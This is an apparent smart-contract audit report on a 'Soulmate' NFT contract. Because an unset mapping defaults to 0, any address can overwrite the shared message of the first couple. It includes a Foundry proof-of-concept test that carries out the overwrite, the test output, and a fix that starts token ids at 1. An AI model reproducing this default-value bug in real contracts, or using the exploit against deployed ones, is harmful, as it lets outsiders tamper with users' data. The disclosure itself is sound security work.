Summary
first couple, which has nft id 0, there msg can be overridden by other users, which don't have shared nft.
Vulnerability Details
Soulmate contract has two function to communicate with partners. Given below -
function writeMessageInSharedSpace(string calldata message) external {
@> uint256 id = ownerToId[msg.sender];
sharedSpace[id] = message;
emit MessageWrittenInSharedSpace(id, message);
}
function readMessageInSharedSpace() external view returns (string memory) {
return
string.concat(
sharedSpace[ownerToId[msg.sender]],
", ",
niceWords[block.timestamp % niceWords.length]
);
}
It works as intended for most cases, except for one case. If you check the highlighted line, it check the ownerToId , which keep tracks of valid users which are in a relationship.
But it fails due to default value of mapping which is 0, so when someone who don't have nft, can write msg to use who actually shares Nft id 0. This is not a good thing and must be avoided at all cost.
Due to miscommunication / misunderstandings, couple could lead to divorce.
POC
create testThirdpartyCanCreateMisunderstandingInFirstCouple in existing SoulmateTest.t.sol file
function testThirdpartyCanCreateMisunderstandingInFirstCouple() public {
address romeo = makeAddr("Romeo");
address romeoFriend = makeAddr("RomeoFriend");
_mintOneTokenForBothSoulmates();
vm.prank(soulmate1);
soulmateContract.writeMessageInSharedSpace("Buy some eggs");
vm.prank(romeo);
soulmateContract.writeMessageInSharedSpace("Buy some Apples");
vm.prank(soulmate2);
string memory message1 = soulmateContract.readMessageInSharedSpace();
string[4] memory possibleText = [
"Buy some eggs, sweetheart",
"Buy some eggs, darling",
"Buy some eggs, my dear",
"Buy some eggs, honey"
];
bool found;
for (uint i; i < possibleText.length; i++) {
if (compare(possibleText[i], message1)) {
found = true;
break;
}
}
if(!found){console2.log("expected msg not found");}
console2.log("soulmate2 received:", message1);
vm.prank(soulmate2);
soulmateContract.writeMessageInSharedSpace("okay");
vm.prank(romeoFriend);
soulmateContract.writeMessageInSharedSpace("I don't have time do all this. Do it yourself");
vm.prank(soulmate1);
string memory message2 = soulmateContract.readMessageInSharedSpace();
string[4] memory possibleText2 = [
"Buy some eggs, sweetheart",
"Buy some eggs, darling",
"Buy some eggs, my dear",
"Buy some eggs, honey"
];
bool found2;
for (uint i; i < possibleText2.length; i++) {
if (compare(possibleText2[i], message2)) {
found2 = true;
break;
}
}
if(!found2){console2.log("expected msg not found");}
console2.log("soulmate1 received:", message2);
}
run the following command in terminal forge test --mt testThirdpartyCanCreateMisunderstandingInFirstCouple -vv , it will show following output.
[⠢] Compiling...
[⠒] Compiling 1 files with 0.8.23
[⠢] Solc 0.8.23 finished in 1.96s
Running 1 test for test/unit/SoulmateTest.t.sol:SoulmateTest
[PASS] testThirdpartyCanCreateMisunderstandingInFirstCouple() (gas: 318185)
Logs:
expected msg not found
soulmate2 received: Buy some Apples, darling
expected msg not found
soulmate1 received: I don't have time do all this. Do it yourself, darling
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.19ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
Misunderstanding due to miscommunication will leads to divorce of a happy couple.
Tools Used
Manual Review
Recommendations
Here is simple fix for it -
start token id from 1 in contract.
- uint256 private nextID;
+ uint256 private nextID = 1;
